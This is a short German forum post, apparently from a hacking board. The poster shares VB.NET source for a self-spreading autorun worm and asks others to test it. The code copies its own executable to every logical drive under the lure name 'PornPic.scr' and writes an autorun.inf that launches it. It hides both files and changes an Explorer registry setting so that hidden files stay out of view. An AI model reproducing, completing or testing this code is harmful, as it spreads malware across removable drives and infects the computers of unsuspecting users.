Ich weis nicht ob es klappt ,eigentlich sollte es gehen aber ich habe immoment keine Externen Sachen zum testenCode:Imports System.IO Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles Dim driver() As String = (IO.Directory.GetLogicalDrives) For Each drivers In driver Try IO.File.Copy(Application.ExecutablePath, drivers & "PornPic.scr") Dim autorunwriter = New StreamWriter(drivers & "\autorun.inf") autorunwriter.WriteLine("[autorun]") autorunwriter.WriteLine("open=" & drivers & "PornPic.scr") autorunwriter.WriteLine("shellexecute=" & drivers, 1) autorunwriter.Close() System.IO.File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden) System.IO.File.SetAttributes(drivers & "PornPic.scr", FileAttributes.Hidden) Catch ex As Exception End Try Next Call filehide() End Sub Private Sub filehide() My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", 0) End Sub End Class
wäre schön wenns einer von euch testen kann
mfG